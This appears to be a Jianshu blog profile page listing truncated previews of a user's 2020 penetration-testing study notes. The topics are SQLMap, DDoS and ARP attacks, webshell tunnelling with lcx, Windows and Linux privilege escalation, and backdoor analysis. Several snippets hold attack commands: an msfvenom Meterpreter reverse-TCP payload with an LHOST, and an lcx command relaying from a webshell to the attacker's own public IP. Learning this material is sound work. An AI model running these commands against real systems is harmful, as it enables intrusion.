WARNING: You are using pip version 21.2.3; however, version 21.2.4 is available. You sh...
IP屬地：山東
-
-
賬號(hào)問(wèn)題，請(qǐng)先回復(fù)郵件到help@jianshu.com，再發(fā)簡(jiǎn)信給我~<br><br>簡(jiǎn)信不回復(fù)，發(fā)送郵件到1-5個(gè)工作日核實(shí)并更換手機(jī)號(hào)，如有問(wèn)題一切見(jiàn)郵件。<br><br>更換成功后請(qǐng)自行在「設(shè)置」--->「基礎(chǔ)設(shè)置」--->「手機(jī)號(hào)」里查看。
-
2020-12-14超詳細(xì)SQLMap使用攻略及技巧分享sqlmap是一個(gè)開(kāi)源的滲透測(cè)試工具，可以用來(lái)進(jìn)行自動(dòng)化檢測(cè)，利用SQL注入漏洞，獲取數(shù)據(jù)庫(kù)服務(wù)器的權(quán)限。它具有功能強(qiáng)大的檢測(cè)引擎,針對(duì)各種不同類型數(shù)據(jù)庫(kù)的滲透測(cè)試的功能選項(xiàng)...
-
2020-12-11網(wǎng)絡(luò)安全 | 九個(gè)常用的網(wǎng)絡(luò)命令 ，很實(shí)用
一、ping命令 ping是個(gè)使用頻率極高的實(shí)用程序，主要用于確定網(wǎng)絡(luò)的連通性。這對(duì)確定網(wǎng)絡(luò)是否正確連接，以及網(wǎng)絡(luò)連接的狀況十分有用。簡(jiǎn)單的說(shuō)，ping就是一個(gè)測(cè)試程序，如果...
-
2020-06-02 應(yīng)急效應(yīng)流程、病毒分析工具、方法
1、寫(xiě)出應(yīng)急響應(yīng)流程并說(shuō)出應(yīng)急步驟，每步是怎么操作的 （1）準(zhǔn)備階段：服務(wù)需求、合同協(xié)議簽訂、制定方案、人員和工具準(zhǔn)備 （2）檢測(cè)階段：確定對(duì)象和范圍、確定方案、檢測(cè)實(shí)施 （...
-
2020-05-29 for循環(huán)-關(guān)鍵字-字符串操作一循環(huán)結(jié)構(gòu) while一般用在復(fù)雜的邏輯操作for一般用在遍歷數(shù)據(jù)操作中遍歷循環(huán)迭代都是一個(gè)意思,把數(shù)據(jù)一個(gè)個(gè)的拿出來(lái)# while循環(huán)不能遍歷集合容器數(shù)據(jù) #for循環(huán)應(yīng)用...
-
2020-05-28 代碼塊學(xué)習(xí)一、代碼塊 以冒號(hào)作為開(kāi)始，用縮進(jìn)來(lái)劃分作用域，這個(gè)征途就是代碼塊 注意點(diǎn)：indentationerror縮進(jìn)錯(cuò)誤 要么全都是：\t 要么全都是4個(gè)空格，不能混...
-
2020-05-25 python學(xué)習(xí)
一、注釋：對(duì)代碼進(jìn)行解釋，方便閱讀代碼，解釋器不會(huì)對(duì)其進(jìn)行編譯 1、注釋的種類（1）單上注釋 # （2）多行注釋 ''' """ （1）單行注釋如 # print3.x p...
-
2020-05-14 DDOS攻擊一、YAN攻擊： 不停的發(fā)送SYN請(qǐng)求連接，服務(wù)器響應(yīng)SYN-ACK的確認(rèn)包，攻擊者沒(méi)有返回確認(rèn)包，而是繼續(xù)發(fā)送請(qǐng)求。（只有2次握手） 二、sockstress攻擊實(shí)試并寫(xiě)出...
-
2020-05-13 ARP攻擊、DOS攻擊一、什么是中間人攻擊（ARP攻擊） 是一種間接的入侵攻擊。這種攻擊模式是通過(guò)各種技術(shù)手段，將受入侵者控制的一臺(tái)計(jì)算機(jī)虛擬放置在網(wǎng)絡(luò)連接中的兩臺(tái)通信計(jì)算機(jī)之間，這臺(tái)計(jì)算機(jī)就稱為...
-
2020-05-11 內(nèi)網(wǎng)遠(yuǎn)程連接一、服務(wù)器處于內(nèi)網(wǎng)如何遠(yuǎn)程連接 1、通過(guò)lcx工具解決內(nèi)網(wǎng)遠(yuǎn)程連接 將lcx工具上傳上去（如：） Webshell上執(zhí)行：lcx.exe -slave 自己的公網(wǎng)ip ...
-
2020-05-9第三方應(yīng)用軟件提權(quán)一、PCanyWhere安全性測(cè)試 PCanyWhere是Symantec(賽門(mén)鐵克)開(kāi)發(fā)的一套老牌遠(yuǎn)程控制軟件。默認(rèn)安裝路徑為C:\Program Files\Symant...
-
2020-05-08 MOF漏洞提權(quán)、mssql提權(quán)、serv-u、Gene6一、MOF漏洞提權(quán) 當(dāng)可以遠(yuǎn)程連接時(shí)，利用工具提權(quán)，新建用戶后，不會(huì)馬上出現(xiàn)，稍等幾十秒后就出現(xiàn)新建的用戶。 當(dāng)不能遠(yuǎn)程連接時(shí)，或不想開(kāi)啟遠(yuǎn)程連接時(shí)，我們找一個(gè)可寫(xiě)目錄，上傳...
-
2020-05-07windows uac、mysql udf提權(quán)操作、提權(quán)常用命令一、完成windowsUAC提權(quán) 木馬生成: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.103 ...
-
2020-05-06windosws空格提權(quán)、linux臟牛提權(quán)一、完成windows空格提權(quán) 我們可以使用以下命令查看錯(cuò)誤配置的路徑 wmic service get name,displayname,pathname,startmod...
-
2020-04-30權(quán)限提升、獲取管理員密碼、hash值kali遠(yuǎn)程連接一、常見(jiàn)提權(quán)方法 1、溢出漏洞提權(quán) 2、數(shù)據(jù)庫(kù)提權(quán) 3、第三方軟件提權(quán) 二、Cmd命令無(wú)法執(zhí)行原因分析 1、Cmd命令無(wú)法執(zhí)行分析 主要原因是cmd.exe被管理員降權(quán)或刪...
-
2020-04-29后門(mén)分析、獲取webshell的方法大馬后門(mén)分析 首先搭建一個(gè)木馬 將文件拖入虛擬機(jī)中 當(dāng)我們登錄的時(shí)候輸入一個(gè)錯(cuò)誤的密碼，提示非法登錄 查看代碼，找出關(guān)鍵字，并將代碼復(fù)制到新記事本中，將execute換成ms...
